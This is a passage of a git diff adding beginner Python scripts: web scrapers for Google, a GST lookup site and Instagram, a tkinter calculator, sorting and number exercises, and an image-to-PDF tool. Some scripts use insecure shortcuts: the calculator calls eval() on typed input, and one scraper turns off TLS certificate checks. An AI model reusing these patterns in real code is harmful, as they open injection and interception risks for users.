+import sys +import webbrowser + +import bs4 +import pyperclip +import requests + + +def main(): + if len(sys.argv) > 1: + keyword = " ".join(sys.argv[1:]) + else: + # if no keyword is entered, the script would search for the keyword + # copied in the clipboard + keyword = pyperclip.paste() + + res = requests.get("http://google.com/search?q=" + keyword) + res.raise_for_status() + soup = bs4.BeautifulSoup(res.text) + linkElems = soup.select(".r a") + numOpen = min(5, len(linkElems)) + + for i in range(numOpen): + webbrowser.open("http://google.com" + linkElems[i].get("href")) + + +if __name__ == "__main__": + main() diff --git a/googlemaps.py b/googlemaps.py new file mode 100644 index 00000000000..8b049bcbaf1 --- /dev/null +++ b/googlemaps.py @@ -0,0 +1,24 @@ +import requests +import geocoder + +g = geocoder.ip("me") + +lat = g.latlng[0] + +longi = g.latlng[1] +query = input("Enter the query") + +key = "your_api_key" +url = ( + "https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=" + + str(lat) + + "," + + str(longi) + + "radius=1000" +) + +r = requests.get(url + "query=" + query + "&key=" + key) + +x = r.json() +y = x["results"] +print(y) diff --git a/googleweb.py b/googleweb.py new file mode 100644 index 00000000000..3b59364522d --- /dev/null +++ b/googleweb.py @@ -0,0 +1,75 @@ +from fuzzywuzzy import fuzz +import bs4 +import requests +import numpy as np +import pandas as pd + +requests.packages.urllib3.disable_warnings() +FinalResult = [] + + +def SearchResults(): + lis = [] + f = open("Input", "r") + header = { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36" + } + StabUrl = "https://www.google.com/search?rlz=1C1CHBD_enIN872IN872&sxsrf=ALeKk03OHYAnSxX60oUwmblKn36Hyi8MhA%3A1600278715451&ei=u1BiX9ibG7qU4-EP_qGPgA8&q=" + midUrl = "&oq=" + EndUrl = "&gs_lcp=CgZwc3ktYWIQAzoECAAQR1C11AxYtdQMYJXcDGgAcAF4AIABpQKIAaUCkgEDMi0xmAEAoAECoAEBqgEHZ3dzLXdpesgBCMABAQ&sclient=psy-ab&ved=0ahUKEwiY5YDjnu7rAhU6yjgGHf7QA_AQ4dUDCA0&uact=5" + for i in f: + singleLink = [] + singleRatio = [] + singleWrite = [] + singleWrite.append(i.strip("\n")) + checkString = i.replace("+", "") + searchString = i.replace("+", "%2B") + searchString = searchString.replace(" ", "+") + searchString = StabUrl + searchString + midUrl + searchString + EndUrl + r = requests.get(searchString, headers=header) + soup = bs4.BeautifulSoup(r.text, features="html.parser") + elements = soup.select(".r a") + for g in elements: + lis.append(g.get("href")) + for k in lis: + sentence = "" + if (k[0] != "#") and k[0] != "/": + checker = k[8:16] + if checker != "webcache": + rr = requests.get(k, headers=header, verify=False) + soupInside = bs4.BeautifulSoup(rr.text, features="html.parser") + elementInside = soupInside.select("body") + for line in elementInside: + sentence = sentence + line.text + ratio = fuzz.token_set_ratio(sentence, checkString) + if ratio > 80: + singleLink.append(k) + singleRatio.append(ratio) + if len(singleLink) >= 4: + singleLink = np.array(singleLink) + singleRatio = np.array(singleRatio) + inds = singleRatio.argsort() + sortedLink = singleLink[inds] + sortedFinalList = list(sortedLink[::-1]) + sortedFinalList = sortedFinalList[:4] + FinalResult.append(singleWrite + sortedFinalList) + elif (len(singleLink) < 4) and len(singleLink) > 0: + singleLink = np.array(singleLink) + singleRatio = np.array(singleRatio) + inds = singleRatio.argsort() + sortedLink = singleLink[inds] + sortedFinalList = list(sortedLink[::-1]) + sortedFinalList = sortedFinalList + (4 - len(sortedFinalList)) * [[" "]] + FinalResult.append(singleWrite + sortedFinalList) + else: + sortedFinalList = [[" "]] * 4 + FinalResult.append(singleWrite + sortedFinalList) + + +SearchResults() +FinalResult = np.array(FinalResult) +FinalResult = pd.DataFrame(FinalResult) +FinalResult.columns = ["Input", "Link A", "Link B", "Link C", "Link D"] +FinalResult.replace(" ", np.nan) +FinalResult.to_csv("Susma.csv", index=False) +print(FinalResult) diff --git a/greaterno.py b/greaterno.py new file mode 100644 index 00000000000..d636d48e307 --- /dev/null +++ b/greaterno.py @@ -0,0 +1,21 @@ +# Python program to find the largest number among the three input numbers + +# change the values of num1, num2 and num3 +# for a different result +num1 = 10 +num2 = 14 +num3 = 12 + +# uncomment following lines to take three numbers from user +# num1 = float(input("Enter first number: ")) +# num2 = float(input("Enter second number: ")) +# num3 = float(input("Enter third number: ")) + +if (num1 >= num2) and (num1 >= num3): + largest = num1 +elif (num2 >= num1) and (num2 >= num3): + largest = num2 +else: + largest = num3 + +print("The largest number is", largest) diff --git a/greattwono.py b/greattwono.py new file mode 100644 index 00000000000..6110c0d67de --- /dev/null +++ b/greattwono.py @@ -0,0 +1,7 @@ +# Python Program to find the largest of two numbers using an arithmetic operator +a = int(input("Enter the first number: ")) +b = int(input("Enter the second number: ")) +if a - b > 0: + print(a, "is greater") +else: + print(b, "is greater") diff --git a/gstin_scraper.py b/gstin_scraper.py new file mode 100644 index 00000000000..a043480331e --- /dev/null +++ b/gstin_scraper.py @@ -0,0 +1,93 @@ +from bs4 import BeautifulSoup +import requests +import time + +# Script Name : gstin_scraper.py +# Author : Purshotam +# Created : Sep 6, 2021 7:59 PM +# Last Modified : Oct 3, 2023 6:28 PM +# Version : 1.0 +# Modifications : +""" Description : +GSTIN, short for Goods and Services Tax Identification Number, +is a unique 15 digit identification number assigned to every taxpayer +(primarily dealer or supplier or any business entity) registered under the GST regime. +This script is able to fetch GSTIN numbers for any company registered in the +Mumbai / Banglore region. +""" + + +# Using a demo list in case of testing the script. +# This list will be used in case user skips "company input" dialogue by pressing enter. +demo_companies = [ + "Bank of Baroda", + "Trident Limited", + "Reliance Limited", + "The Yummy Treat", + "Yes Bank", + "Mumbai Mineral Trading Corporation", +] + + +def get_company_list(): + company_list = [] + + while True: + company = input("Enter a company name (or press Enter to finish): ") + if not company: + break + company_list.append(company) + + return company_list + + +def fetch_gstins(company_name, csrf_token): + third_party_gstin_site = ( + "https://www.knowyourgst.com/gst-number-search/by-name-pan/" + ) + payload = {"gstnum": company_name, "csrfmiddlewaretoken": csrf_token} + + # Getting the HTML content and extracting the GSTIN content using BeautifulSoup. + html_content = requests.post(third_party_gstin_site, data=payload) + soup = BeautifulSoup(html_content.text, "html.parser") + site_results = soup.find_all(id="searchresult") + + # Extracting GSTIN specific values from child elements. + gstins = [result.strong.next_sibling.next_sibling.string for result in site_results] + + return gstins + + +def main(): + temp = get_company_list() + companies = temp if temp else demo_companies + + all_gstin_data = "" + third_party_gstin_site = ( + "https://www.knowyourgst.com/gst-number-search/by-name-pan/" + ) + + # Getting the CSRF value for further RESTful calls. + page_with_csrf = requests.get(third_party_gstin_site) + soup = BeautifulSoup(page_with_csrf.text, "html.parser") + csrf_token = soup.find("input", {"name": "csrfmiddlewaretoken"})["value"] + + for company in companies: + gstins = fetch_gstins(company, csrf_token) + + # Only include GSTINs for Bengaluru and Mumbai-based companies + comma_separated_gstins = ", ".join( + [g for g in gstins if g.startswith(("27", "29"))] + ) + + all_gstin_data += f"{company} = {comma_separated_gstins}\n\n" + + # Delaying for false DDOS alerts on the third-party site + time.sleep(0.5) + + # Printing the data + print(all_gstin_data) + + +if __name__ == "__main__": + main() diff --git a/gui_calculator.py b/gui_calculator.py new file mode 100644 index 00000000000..e0fa630e427 --- /dev/null +++ b/gui_calculator.py @@ -0,0 +1,224 @@ +# Calculator +from tkinter import * + +w = Tk() +w.geometry("500x500") +w.title("Calculatorax") +w.configure(bg="#03befc") + + +# Functions(Keypad) +def calc1(): + b = txt1.get() + txt1.delete(0, END) + b1 = b + btn1["text"] + txt1.insert(0, b1) + + +def calc2(): + b = txt1.get() + txt1.delete(0, END) + b1 = b + btn2["text"] + txt1.insert(0, b1) + + +def calc3(): + b = txt1.get() + txt1.delete(0, END) + b1 = b + btn3["text"] + txt1.insert(0, b1) + + +def calc4(): + b = txt1.get() + txt1.delete(0, END) + b1 = b + btn4["text"] + txt1.insert(0, b1) + + +def calc5(): + b = txt1.get() + txt1.delete(0, END) + b1 = b + btn5["text"] + txt1.insert(0, b1) + + +def calc6(): + b = txt1.get() + txt1.delete(0, END) + b1 = b + btn6["text"] + txt1.insert(0, b1) + + +def calc7(): + b = txt1.get() + txt1.delete(0, END) + b1 = b + btn7["text"] + txt1.insert(0, b1) + + +def calc8(): + b = txt1.get() + txt1.delete(0, END) + b1 = b + btn8["text"] + txt1.insert(0, b1) + + +def calc9(): + b = txt1.get() + txt1.delete(0, END) + b1 = b + btn9["text"] + txt1.insert(0, b1) + + +def calc0(): + b = txt1.get() + txt1.delete(0, END) + b1 = b + btn0["text"] + txt1.insert(0, b1) + + +# Functions(operators) + +x = 0 + + +def add(): + global x + add.b = eval(txt1.get()) + txt1.delete(0, END) + x = x + 1 + + +def subtract(): + global x + subtract.b = eval(txt1.get()) + txt1.delete(0, END) + x = x + 2 + + +def get(): + b = txt1.get() + + +def equals(): + global x + if x == 1: + c = (eval(txt1.get())) + add.b + cls() + txt1.insert(0, c) + + elif x == 2: + c = subtract.b - (eval(txt1.get())) + cls() + txt1.insert(0, c) + + elif x == 3: + c = multiply.b * (eval(txt1.get())) + cls() + txt1.insert(0, c) + elif x == 4: + c = divide.b / (eval(txt1.get())) + cls() + txt1.insert(0, c) + + +def cls(): + global x + x = 0 + txt1.delete(0, END) + + +def multiply(): + global x + multiply.b = eval(txt1.get()) + txt1.delete(0, END) + x = x + 3 + + +def divide(): + global x + divide.b = eval(txt1.get()) + txt1.delete(0, END) + x = x + 4 + + +# Labels + +lbl1 = Label( + w, text="Calculatorax", font=("Times New Roman", 35), fg="#232226", bg="#fc9d03" +) + +# Entryboxes +txt1 = Entry(w, width=80, font=30) + +# Buttons + +btn1 = Button(w, text="1", font=("Unispace", 25), command=calc1, bg="#c3c6d9") +btn2 = Button(w, text="2", font=("Unispace", 25), command=calc2, bg="#c3c6d9") +btn3 = Button(w, text="3", font=("Unispace", 25), command=calc3, bg="#c3c6d9") +btn4 = Button(w, text="4", font=("Unispace", 25), command=calc4, bg="#c3c6d9") +btn5 = Button(w, text="5", font=("Unispace", 25), command=calc5, bg="#c3c6d9") +btn6 = Button(w, text="6", font=("Unispace", 25), command=calc6, bg="#c3c6d9") +btn7 = Button(w, text="7", font=("Unispace", 25), command=calc7, bg="#c3c6d9") +btn8 = Button(w, text="8", font=("Unispace", 25), command=calc8, bg="#c3c6d9") +btn9 = Button(w, text="9", font=("Unispace", 25), command=calc9, bg="#c3c6d9") +btn0 = Button(w, text="0", font=("Unispace", 25), command=calc0, bg="#c3c6d9") + +btn_addition = Button(w, text="+", font=("Unispace", 26), command=add, bg="#3954ed") +btn_equals = Button( + w, + text="Calculate", + font=( + "Unispace", + 24, + ), + command=equals, + bg="#e876e6", +) +btn_clear = Button( + w, + text="Clear", + font=( + "Unispace", + 24, + ), + command=cls, + bg="#e876e6", +) +btn_subtract = Button( + w, text="-", font=("Unispace", 26), command=subtract, bg="#3954ed" +) +btn_multiplication = Button( + w, text="x", font=("Unispace", 26), command=multiply, bg="#3954ed" +) +btn_division = Button(w, text="÷", font=("Unispace", 26), command=divide, bg="#3954ed") + +# Placements(Labels) + +lbl1.place(x=120, y=0) + +# Placements(entrybox) + +txt1.place(x=7, y=50, height=35) + +# Placements(Buttons) +btn1.place(x=50, y=100) +btn2.place(x=120, y=100) +btn3.place(x=190, y=100) +btn4.place(x=50, y=200) +btn5.place(x=120, y=200) +btn6.place(x=190, y=200) +btn7.place(x=50, y=300) +btn8.place(x=120, y=300) +btn9.place(x=190, y=300) +btn0.place(x=120, y=400) + +btn_addition.place(x=290, y=100) +btn_equals.place(x=260, y=420) +btn_clear.place(x=290, y=350) +btn_subtract.place(x=360, y=100) +btn_multiplication.place(x=290, y=200) +btn_division.place(x=360, y=200) + +w.mainloop() diff --git a/hamming-numbers.py b/hamming-numbers.py new file mode 100644 index 00000000000..c9f81deb7f6 --- /dev/null +++ b/hamming-numbers.py @@ -0,0 +1,51 @@ +""" +A Hamming number is a positive integer of the form 2^i*3^j*5^k, for some +non-negative integers i, j, and k. They are often referred to as regular numbers. +The first 20 Hamming numbers are: 1, 2, 3, 4, 5, 6, 8, 9, 10, 12, 15, 16, 18, 20, 24, 25, 27, 30, 32, and 36 +""" + + +def hamming(n_element: int) -> list: + """ + This function creates an ordered list of n length as requested, and afterwards + returns the last value of the list. It must be given a positive integer. + + :param n_element: The number of elements on the list + :return: The nth element of the list + + >>> hamming(5) + [1, 2, 3, 4, 5] + >>> hamming(10) + [1, 2, 3, 4, 5, 6, 8, 9, 10, 12] + >>> hamming(15) + [1, 2, 3, 4, 5, 6, 8, 9, 10, 12, 15, 16, 18, 20, 24] + """ + n_element = int(n_element) + if n_element < 1: + my_error = ValueError("a should be a positive number") + raise my_error + + hamming_list = [1] + i, j, k = (0, 0, 0) + index = 1 + while index < n_element: + while hamming_list[i] * 2 <= hamming_list[-1]: + i += 1 + while hamming_list[j] * 3 <= hamming_list[-1]: + j += 1 + while hamming_list[k] * 5 <= hamming_list[-1]: + k += 1 + hamming_list.append( + min(hamming_list[i] * 2, hamming_list[j] * 3, hamming_list[k] * 5) + ) + index += 1 + return hamming_list + + +if __name__ == "__main__": + n = input("Enter the last number (nth term) of the Hamming Number Series: ") + print("Formula of Hamming Number Series => 2^i * 3^j * 5^k") + hamming_numbers = hamming(int(n)) + print("-----------------------------------------------------") + print(f"The list with nth numbers is: {hamming_numbers}") + print("-----------------------------------------------------") diff --git a/happy_num.py b/happy_num.py new file mode 100644 index 00000000000..d2d30dde99a --- /dev/null +++ b/happy_num.py @@ -0,0 +1,43 @@ +# Way2 1: + +# isHappyNumber() will determine whether a number is happy or not +def isHappyNumber(num): + rem = sum = 0 + + # Calculates the sum of squares of digits + while num > 0: + rem = num % 10 + sum = sum + (rem * rem) + num = num // 10 + return sum + + +num = 82 +result = num + +while result != 1 and result != 4: + result = isHappyNumber(result) + +# Happy number always ends with 1 +if result == 1: + print(str(num) + " is a happy number after apply way 1") +# Unhappy number ends in a cycle of repeating numbers which contain 4 +elif result == 4: + print(str(num) + " is not a happy number after apply way 1") + + +# way 2: + +# Another way to do this and code is also less +n = num +setData = set() # set datastructure for checking a number is repeated or not. +while 1: + if n == 1: + print("{} is a happy number after apply way 2".format(num)) + break + if n in setData: + print("{} is Not a happy number after apply way 2".format(num)) + break + else: + setData.add(n) # adding into set if not inside set + n = int("".join(str(sum([int(i) ** 2 for i in str(n)])))) # Pythonic way diff --git a/heap_sort.py b/heap_sort.py new file mode 100644 index 00000000000..f0ca5a5252b --- /dev/null +++ b/heap_sort.py @@ -0,0 +1,49 @@ +# This program is a comparison based sorting technique. +# It is similar to selection sort in the sense that it first identifies the maximum element, +# and places it at the end. We repeat the process until the list is sorted. +# The sort algorithm has a time complexity of O(nlogn) + + +def refineHeap(arr, n, i): + # Initialize the largest entry as the root of the heap + largest = i + left = 2 * i + 1 + right = 2 * i + 2 + + # If the left child exists and it is larger than largest, replace it + if left < n and arr[largest] < arr[left]: + largest = left + + # Perform the same operation for the right hand side of the heap + if right < n and arr[largest] < arr[right]: + largest = right + + # Change root if the largest value changed + if largest != i: + arr[i], arr[largest] = arr[largest], arr[i] + + # Repeat the process until the heap is fully defined + refineHeap(arr, n, largest) + + +# Main function +def heapSort(arr): + n = len(arr) + + # Make a heap + for i in range(n // 2 - 1, -1, -1): + refineHeap(arr, n, i) + + # Extract elements individually + for i in range(n - 1, 0, -1): + # Fancy notation for swapping two values in an array + arr[i], arr[0] = arr[0], arr[i] + refineHeap(arr, i, 0) + + +# Code that will run on start +arr = [15, 29, 9, 3, 16, 7, 66, 4] +print("Unsorted Array: ", arr) +heapSort(arr) +n = len(arr) +print("Sorted array: ", arr) diff --git a/helloworld.py b/helloworld.py new file mode 100644 index 00000000000..aa58112bf57 --- /dev/null +++ b/helloworld.py @@ -0,0 +1,34 @@ +# master +# This program prints Hello, world! + +import time + +print("Hello I'm Geek! Let's Execute Your Code!") +time.sleep(1) +print("Starting Our Code!") +time.sleep(1) + +print("Always Remember Python Is Case Sensitive!") +time.sleep(1) +print("Here We Go!") +time.sleep(1) +# master +print("Hello World!") +time.sleep(1) +print("A Quick Tip!") +time.sleep(1) +print( + "make sure to use the same type of quotes(quotation marks or apostrophes)at the end that you used at the start" +) + +# in c -> printf("Hello World!"); +# in java -> System.out.println("Hello World!"); +# in c++ -> cout << "Hello World"; +# master +# in javascript - > console.log("Hello World"); + +# in javascript - > console.log("Hello World") or document.write("Hello World!") +time.sleep(2) +print("All The Best!") +# Adios! +# master diff --git a/how to display the fibonacci sequence up to n-.py b/how to display the fibonacci sequence up to n-.py new file mode 100644 index 00000000000..d6a70a574cd --- /dev/null +++ b/how to display the fibonacci sequence up to n-.py @@ -0,0 +1,23 @@ +# Program to display the Fibonacci sequence up to n-th term + +nterms = int(input("How many terms? ")) + +# first two terms +n1, n2 = 0, 1 +count = 0 + +# check if the number of terms is valid +if nterms <= 0: + print("Please enter a positive integer") +elif nterms == 1: + print("Fibonacci sequence upto", nterms, ":") + print(n1) +else: + print("Fibonacci sequence:") + while count < nterms: + print(n1) + nth = n1 + n2 + # update values + n1 = n2 + n2 = nth + count += 1 diff --git a/image2pdf/image2pdf.py b/image2pdf/image2pdf.py new file mode 100644 index 00000000000..4a353dbfd52 --- /dev/null +++ b/image2pdf/image2pdf.py @@ -0,0 +1,144 @@ +from PIL import Image +import os + + +class image2pdf: + def __init__(self): + self.validFormats = (".jpg", ".jpeg", ".png", ".JPG", ".PNG") + self.pictures = [] + + self.directory = "" + self.isMergePDF = True + + def getUserDir(self): + """Allow user to choose image directory""" + + msg = "\n1. Current directory\n2. Custom directory\nEnter a number: " + user_option = int(input(msg)) + + # Restrict input to either (1 or 2) + while user_option <= 0 or user_option >= 3: + user_option = int(input(f"\n*Invalid input*\n{msg}")) + + self.directory = ( + os.getcwd() if user_option == 1 else input("\nEnter custom directory: ") + ) + + def filter(self, item): + return item.endswith(self.validFormats) + + def sortFiles(self): + return sorted(os.listdir(self.directory)) + + def getPictures(self): + pictures = list(filter(self.filter, self.sortFiles())) + + if not pictures: + print(f" [Error] there are no pictures in the directory: {self.directory} ") + return False + + print("Found picture(s) :") + return pictures + + def selectPictures(self, pictures): + """Allow user to manually pick each picture or merge all""" + + listedPictures = {} + for index, pic in enumerate(pictures): + listedPictures[index + 1] = pic + print(f"{index + 1}: {pic}") + + userInput = ( + input( + "\n Enter the number(s) - (comma seperated/no spaces) or (A or a) to merge All \nChoice: " + ) + .strip() + .lower() + ) + + if userInput != "a": + # Convert user input (number) into corresponding (image title) + pictures = ( + listedPictures.get(int(number)) for number in userInput.split(",") + ) + + self.isMergePDF = False + + return pictures + + def convertPictures(self): + """ + Convert pictures according the following: + * If pictures = 0 -> Skip + * If pictures = 1 -> use all + * Else -> allow user to pick pictures + + Then determine to merge all or one pdf + """ + + pictures = self.getPictures() + totalPictures = len(pictures) if pictures else 0 + + if totalPictures == 0: + return + + elif totalPictures >= 2: + pictures = self.selectPictures(pictures) + + if self.isMergePDF: + # All pics in one pdf. + for picture in pictures: + self.pictures.append( + Image.open(f"{self.directory}\\{picture}").convert("RGB") + ) + self.save() + + else: + # Each pic in seperate pdf. + for picture in pictures: + self.save( + Image.open(f"{self.directory}\\{picture}").convert("RGB"), + picture, + False, + ) + + # Reset to default value for next run + self.isMergePDF = True + self.pictures = [] + print(f"\n{'#' * 30}") + print(" Done! ") + print(f"{'#' * 30}\n") + + def save(self, image=None, title="All-PDFs", isMergeAll=True): + # Save all to one pdf or each in seperate file + + if isMergeAll: + self.pictures[0].save( + f"{self.directory}\\{title}.pdf", + save_all=True, + append_images=self.pictures[1:], + ) + + else: + image.save(f"{self.directory}\\{title}.pdf") + + +if __name__ == "__main__": + # Get user directory only once + process = image2pdf() + process.getUserDir() + process.convertPictures() + + # Allow user to rerun any process + while True: + user = input( + "Press (R or r) to Run again\nPress (C or c) to change directory\nPress (Any Key) To Exit\nchoice:" + ).lower() + match user: + case "r": + process.convertPictures() + case "c": + process.getUserDir() + process.convertPictures() + case _: + break diff --git a/image2pdf/requirements.txt b/image2pdf/requirements.txt new file mode 100644 index 00000000000..3868fb16b89 --- /dev/null +++ b/image2pdf/requirements.txt @@ -0,0 +1 @@ +pillow diff --git a/img/hand1.jpg b/img/hand1.jpg new file mode 100644 index 00000000000..bdca9932295 Binary files /dev/null and b/img/hand1.jpg differ diff --git a/index.html b/index.html new file mode 100644 index 00000000000..8b137891791 --- /dev/null +++ b/index.html @@ -0,0 +1 @@ + diff --git a/index.py b/index.py new file mode 100644 index 00000000000..70cc71d708c --- /dev/null +++ b/index.py @@ -0,0 +1,14 @@ +num = 11 +# Negative numbers, 0 and 1 are not primes +if num > 1: + # Iterate from 2 to n // 2 + for i in range(2, (num // 2) + 1): + # If num is divisible by any number between + # 2 and n / 2, it is not prime + if (num % i) == 0: + print(num, "is not a prime number") + break + else: + print(num, "is a prime number") +else: + print(num, "is not a prime number") diff --git a/inheritance_YahV1729.py b/inheritance_YahV1729.py new file mode 100644 index 00000000000..7b59954fe61 --- /dev/null +++ b/inheritance_YahV1729.py @@ -0,0 +1,33 @@ +# A Python program to demonstrate inheritance + +# Base or Super class. Note object in bracket. +# (Generally, object is made ancestor of all classes) +# In Python 3.x "class Person" is +# equivalent to "class Person(object)" +class Person(object): + # Constructor + def __init__(self, name): + self.name = name + + # To get name + def getName(self): + return self.name + + # To check if this person is employee + def isEmployee(self): + return False + + +# Inherited or Sub class (Note Person in bracket) +class Employee(Person): + # Here we return true + def isEmployee(self): + return True + + +# Driver code +emp = Person("Geek1") # An Object of Person +print(emp.getName(), emp.isEmployee()) + +emp = Employee("Geek2") # An Object of Employee +print(emp.getName(), emp.isEmployee()) diff --git a/input matrice,product any order!.py b/input matrice,product any order!.py new file mode 100644 index 00000000000..d0e3223e4c4 --- /dev/null +++ b/input matrice,product any order!.py @@ -0,0 +1,69 @@ +# inputing 2 matrices: + +# matrice 1: + +rows = int(input("Enter the number of rows of the matrice 1")) +coloumns = int(input("Enter the coloumns of the matrice 1")) +matrice = [] +rowan = [] + +for i in range(0, rows): + for j in range(0, coloumns): + element = int(input("enter the element")) + rowan.append(element) + print("one row completed") + matrice.append(rowan) + rowan = [] + +print("matrice 1 is \n") +for ch in matrice: + print(ch) +A = matrice + +# matrice 2: + +rows_ = coloumns +coloumns_ = int(input("Enter the coloumns of the matrice 2")) +rowan = [] +matrix = [] + +for i in range(0, rows_): + for j in range(0, coloumns_): + element = int(input("enter the element")) + rowan.append(element) + print("one row completed") + matrix.append(rowan) + rowan = [] + +print("Matrice 2 is\n") +for ch in matrix: + print(ch) + +B = matrix + +# creating empty frame: + +result = [] +for i in range(0, rows): + for j in range(0, coloumns_): + rowan.append(0) + result.append(rowan) + rowan = [] +print("\n") +print("The frame work of result") +for ch in result: + print(ch) + + +# Multiplication of the two matrices: + +for i in range(len(A)): + for j in range(len(B[0])): + for k in range(len(B)): + result[i][j] += A[i][k] * B[k][j] + +print("\n") +print("The product of the 2 matrices is \n") + +for i in result: + print(i) diff --git a/insertion_sort.py b/insertion_sort.py new file mode 100644 index 00000000000..8ea77cb9552 --- /dev/null +++ b/insertion_sort.py @@ -0,0 +1,64 @@ +# insertion sort + +list = [] # declaring list + + +def input_list(): + # taking length and then values of list as input from user + n = int(input("Enter number of elements in the list: ")) # taking value from user + for i in range(n): + temp = int(input("Enter element " + str(i + 1) + ": ")) + list.append(temp) + + +def insertion_sort(list, n): + """ + sort list in assending order + + INPUT: + list=list of values to be sorted + n=size of list that contains values to be sorted + + OUTPUT: + list of sorted values in assending order + """ + for i in range(0, n): + key = list[i] + j = i - 1 + # Swap elements witth key iff they are + # greater than key + while j >= 0 and list[j] > key: + list[j + 1] = list[j] + j = j - 1 + list[j + 1] = key + return list + + +def insertion_sort_desc(list, n): + """ + sort list in desending order + + INPUT: + list=list of values to be sorted + n=size of list that contains values to be sorted + + OUTPUT: + list of sorted values in desending order + """ + for i in range(0, n): + key = list[i] + j = i - 1 + # Swap elements witth key iff they are + # greater than key + while j >= 0 and list[j] < key: + list[j + 1] = list[j] + j = j - 1 + list[j + 1] = key + return list + + +input_list() +list1 = insertion_sort(list, len(list)) +print(list1) +list2 = insertion_sort_desc(list, len(list)) +print(list2) diff --git a/insta_image_saving/driver/driver.exe b/insta_image_saving/driver/driver.exe new file mode 100644 index 00000000000..404f36a981e Binary files /dev/null and b/insta_image_saving/driver/driver.exe differ diff --git a/insta_image_saving/driver/file b/insta_image_saving/driver/file new file mode 100644 index 00000000000..1b14e500c81 --- /dev/null +++ b/insta_image_saving/driver/file @@ -0,0 +1 @@ +this is the chrome driver folder. diff --git a/insta_image_saving/instagram_image_scrapping.ipynb b/insta_image_saving/instagram_image_scrapping.ipynb new file mode 100644 index 00000000000..dd002beb20d --- /dev/null +++ b/insta_image_saving/instagram_image_scrapping.ipynb @@ -0,0 +1,172 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": 1, + "metadata": {}, + "outputs": [], + "source": [ + "from time import sleep\n", + "import pandas as pd\n", + "from selenium import webdriver\n", + "from scrapy.selector import Selector\n", + "from io import BytesIO\n", + "from PIL import Image\n", + "import requests" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "1951\n" + ] + } + ], + "source": [ + "imageID = []\n", + "sl_no = []\n", + "imageLikes = []\n", + "i = 0\n", + "instaccountlink = \"https://instagram.com/audi\"\n", + "instaaccountname = \"Audi\"\n", + "driver = webdriver.Chrome(\"driver/driver\")\n", + "driver.get(instaccountlink)\n", + "unique_urls = []\n", + "while i < 300:\n", + " i = i + 1\n", + " sel = Selector(text=driver.page_source)\n", + "\n", + " url = sel.xpath('//div[@class=\"v1Nh3 kIKUG _bz0w\"]/a/@href').extract()\n", + " for u in url:\n", + " if u not in unique_urls:\n", + " unique_urls.append(u)\n", + "\n", + " driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n", + " sel = Selector(text=driver.page_source)\n", + " url = sel.xpath('//div[@class=\"v1Nh3 kIKUG _bz0w\"]/a/@href').extract()\n", + " sleep(1)\n", + " for u in url:\n", + " if u not in unique_urls:\n", + " unique_urls.append(u)\n", + "\n", + "driver.quit()\n", + "print(len(unique_urls))" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "file saved successfully\n" + ] + } + ], + "source": [ + "file = open(\"output/audi_instagram_11_07_2019.csv\", \"a\")\n", + "for u in unique_urls:\n", + " file.write(u)\n", + " file.write(\"\\n\")\n", + "file.close()\n", + "print(\"file saved successfully\")" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": {}, + "outputs": [], + "source": [ + "# saving the images to specified directory\n", + "driver = webdriver.Chrome(\"driver/driver\")\n", + "\n", + "image_urls = []\n", + "count = 0\n", + "max_no_of_iteration = 250\n", + "for u in unique_urls:\n", + " try:\n", + " driver.get(\"http://instagram.com\" + u)\n", + " sel = Selector(text=driver.page_source)\n", + "\n", + " src = sel.xpath(\"//div/img/@src\").extract()[0]\n", + " # print(src)\n", + " r = requests.get(src)\n", + "\n", + " image = Image.open(BytesIO(r.content))\n", + " # path = \"C:/Users/carbon/Desktop/output/\"+instaAccountName+str(count)+\".\" + image.format\n", + " path = \"output/\" + instaaccountname + str(count) + \".\" + image.format\n", + " # print(image.size, image.format, image.mode)\n", + " q1 = \"\"\n", + " q2 = \"\"\n", + " try:\n", + " image.save(path, image.format)\n", + " q1 = instaaccountname + str(count)\n", + " q2 = sel.xpath(\"//span/span/text()\").extract_first()\n", + " # print(q1)\n", + " # print(q2)\n", + "\n", + " except IOError:\n", + " q1 = \"\"\n", + " q2 = \"\"\n", + " imageID.insert(len(imageID), q1)\n", + " imageLikes.insert(len(imageLikes), q2)\n", + " sl_no.insert(len(sl_no), str(count))\n", + " count = count + 1\n", + " if count > max_no_of_iteration:\n", + " driver.quit()\n", + " df = pd.DataFrame(\n", + " {\"ImageID\": imageID, \"Sl_no\": sl_no, \"ImageLikes\": imageLikes}\n", + " )\n", + " fileName = instaaccountname + str(\".csv\")\n", + " df.to_csv(fileName, index=False)\n", + " break\n", + "\n", + " except:\n", + " pass\n", + "\n", + "try:\n", + " driver.quit()\n", + "except:\n", + " pass" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.6.4" + } + }, + "nbformat": 4, + "nbformat_minor": 2 +} diff --git a/insta_image_saving/instructions.txt b/insta_image_saving/instructions.txt new file mode 100644 index 00000000000..c751624cf87 --- /dev/null +++ b/insta_image_saving/instructions.txt @@ -0,0 +1,7 @@ +INSTRUCTIONS FOR SUCCESSFUL OPERATION : + +--> hardcode variable "instaccountlink" with desired instagram URL +--> hardcode variable "instaaccountname" with desired name +--> hardcode variable "file" with desired output name +--> set condition for scrolling, i.e. variable "i" which is by default set to 300 +--> you may need to redefine HTML tags used, as these are regularly changed as per INSTAGRAM security concerns, the HTML tags used here is latest as per best of my knowledge. \ No newline at end of file diff --git a/insta_image_saving/output/file b/insta_image_saving/output/file new file mode 100644 index 00000000000..4c0cb2a4dfa --- /dev/null +++ b/insta_image_saving/output/file @@ -0,0 +1 @@ +this is the output folder for saving images. diff --git a/insta_image_saving/readme.txt b/insta_image_saving/readme.txt new file mode 100644 index 